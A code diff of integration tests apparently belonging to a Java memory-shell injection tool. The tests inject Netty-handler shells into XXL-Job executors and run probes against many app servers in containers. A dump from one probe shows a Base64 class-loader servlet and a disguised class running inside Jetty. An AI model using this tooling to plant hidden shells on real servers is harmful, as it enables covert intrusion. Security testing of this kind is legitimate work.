package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob212ContainerTest {
public static final String imageName = "xxljob/xxljob212";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob250ContainerTest {
public static final String imageName = "xxljob/xxljob250";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJob);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -118,6 +118,15 @@ public class ProbeTestConfig {
.warDeployPath(warDeployPath);
}
public static ProbeTestConfigBuilder jetty5Old(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Jetty5)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath(warDeployPath)
.supportsFilterProbe(false);
}
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
@@ -230,6 +239,15 @@ public class ProbeTestConfig {
.warDeployPath(warDeployPath);
}
public static ProbeTestConfigBuilder resin2(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Resin2)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath(warDeployPath)
.supportsFilterProbe(false);
}
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish8ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
"reajason/glassfish:8.0.3-jdk21",
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.probe.jbossas;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
@@ -17,6 +18,7 @@ public class Jboss510ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss(
"reajason/jboss:5-jdk6",
"/usr/local/jboss/server/web/deploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.expectedJdkVersion("JDK|1.6.0_45|50")
.targetJdkVersion(Opcodes.V1_6)
.build();
@@ -0,0 +1,35 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2026/7/4
*/
@Testcontainers
public class Jetty51ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig
.jetty5Old("reajason/jetty:5.1.10-jdk6", "/usr/local/jetty/webapps/app.war")
.expectedJdkVersion("JDK|1.6.0_45|50")
.targetJdkVersion(Opcodes.V1_6)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202312ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2023.12",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|11.0.21|55")
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202412ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2024.12-jdk17",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|17.0.13|61")
.targetJdkVersion(Opcodes.V17)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202511ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:6.2025.11-jdk21",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|21.0.9|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.payara;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara7202606ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta(
"payara/server-web:7.2026.6",
"/opt/payara/deployments/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.integration.probe.resin;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2026/7/4
*/
@Testcontainers
public class Resin2117ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin2(
"reajason/resin:2.1.17-jdk6",
"/usr/local/resin2/webapps/app.war")
.expectedJdkVersion("JDK|1.6.0_45|50")
.targetJdkVersion(Opcodes.V1_6)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.probe.weblogic;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
@@ -17,6 +18,7 @@ public class WebLogic1036ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.weblogic(
"reajason/weblogic:10.3.6",
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.expectedJdkVersion("JDK|1.8.0_342|52")
.targetJdkVersion(Opcodes.V1_8)
.build();
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.probe.wildfly;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly26ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildfly("quay.io/wildfly/wildfly:26.1.3.Final-jdk11")
.expectedJdkVersion("JDK|11.0.17|55")
.targetJdkVersion(Opcodes.V11)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.probe.wildfly;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly27ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildflyJakarta("quay.io/wildfly/wildfly:27.0.1.Final-jdk11")
.expectedJdkVersion("JDK|11.0.17|55")
.targetJdkVersion(Opcodes.V11)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.probe.wildfly;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly38ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildflyJakarta("quay.io/wildfly/wildfly:38.0.1.Final-jdk21")
.expectedJdkVersion("JDK|21.0.9|65")
.targetJdkVersion(Opcodes.V21)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.probe.wildfly;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly41ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildflyJakarta("quay.io/wildfly/wildfly:41.0.0.Final-jdk21")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,345 @@
# Generated At 2026-07-03 18:58:31
SystemProps:
java.runtime.name: Java(TM) SE Runtime Environment
sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64
java.vm.version: 20.45-b01
javax.management.builder.initial: mx4j.server.MX4JMBeanServerBuilder
java.vm.vendor: Sun Microsystems Inc.
java.vendor.url: http://java.sun.com/
path.separator: :
java.vm.name: Java HotSpot(TM) 64-Bit Server VM
file.encoding.pkg: sun.io
sun.java.launcher: SUN_STANDARD
user.country: US
sun.os.patch.level: unknown
java.vm.specification.name: Java Virtual Machine Specification
user.dir: /usr/local/jetty
java.runtime.version: 1.6.0_45-b06
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed
os.arch: amd64
java.io.tmpdir: /tmp
line.separator:
java.vm.specification.vendor: Sun Microsystems Inc.
org.mortbay.log.LogFactory.noDiscovery: true
os.name: Linux
sun.jnu.encoding: ANSI_X3.4-1968
java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.specification.name: Java Platform API Specification
java.class.version: 50.0
jetty.home: /usr/local/jetty
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
user.home: /root
user.timezone: UTC
java.awt.printerjob: sun.print.PSPrinterJob
file.encoding: ANSI_X3.4-1968
java.specification.version: 1.6
java.class.path: /usr/local/jetty/lib/org.mortbay.jetty.jar:/usr/local/jetty/lib/javax.servlet.jar:/usr/local/jetty/lib/org.mortbay.jmx.jar:/usr/local/jetty/ext/xercesImpl.jar:/usr/local/jetty/ext/ant.jar:/usr/local/jetty/ext/jasper-runtime.jar:/usr/local/jetty/ext/jasper-compiler.jar:/usr/local/jetty/ext/commons-el.jar:/usr/local/jetty/ext/commons-logging.jar:/usr/local/jetty/ext/mx4j-remote.jar:/usr/local/jetty/ext/mx4j-tools.jar:/usr/local/jetty/ext/mx4j.jar:/usr/local/jetty/ext/xmlParserAPIs.jar:/opt/java/jdk1.6.0_45/lib/tools.jar
user.name: root
java.vm.specification.version: 1.0
sun.java.command: /usr/local/jetty/start.jar
java.home: /opt/java/jdk1.6.0_45/jre
sun.arch.data.model: 64
user.language: en
java.specification.vendor: Sun Microsystems Inc.
java.vm.info: mixed mode
java.version: 1.6.0_45
java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext
sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes
java.vendor: Sun Microsystems Inc.
file.separator: /
java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
sun.io.unicode.encoding: UnicodeLittle
sun.cpu.endian: little
sun.cpu.isalist:
===========================================
ThreadStacks:
"P1-1" #20 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@68de462
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"Thread-0" #8 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at org.mortbay.start.Monitor.run(Monitor.java:75)
"P1-9" #28 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@bb273cc
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"SessionScavenger" #14 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
"P1-4" #23 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@61acfa31
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-11" #30 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7ba85d38
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-3" #22 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@235dd910
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"SocketListener0-0" #12 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7e9ffe3f
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"SessionScavenger" #10 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
"P1-10" #29 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@6a8046f4
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5076e8a7
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171)
"P1-14" #33 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@4963f7a1
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-2" #21 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@6655bb93
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-8" #27 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@70d05c13
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-13" #32 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@421690ab
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-16" #35 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at org.mortbay.util.LineInput.fill(LineInput.java:477)
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
"P1-7" #26 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@7f4d1d41
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"P1-15" #34 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1530)
at org.apache.logging.BIRtA.ErrorWxrxoHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2826)
at java.io.PrintWriter.print(PrintWriter.java:573)
at org.mortbay.jetty.servlet.ServletWriter.print(ServletWriter.java:105)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java:428)
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:830)
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
at EmptyFilter.doFilter(EmptyFilter.java:12)
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain.doFilter(WebApplicationHandler.java:821)
at org.mortbay.jetty.servlet.WebApplicationHandler.dispatch(WebApplicationHandler.java:471)
at org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:568)
at org.mortbay.http.HttpContext.handle(HttpContext.java:1530)
at org.mortbay.jetty.servlet.WebApplicationContext.handle(WebApplicationContext.java:633)
at org.mortbay.http.HttpContext.handle(HttpContext.java:1482)
at org.mortbay.http.HttpServer.service(HttpServer.java:909)
at org.mortbay.http.HttpConnection.service(HttpConnection.java:816)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:982)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
"P1-19" #38 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at org.mortbay.util.LineInput.fill(LineInput.java:477)
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
"P1-12" #31 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@5773ec72
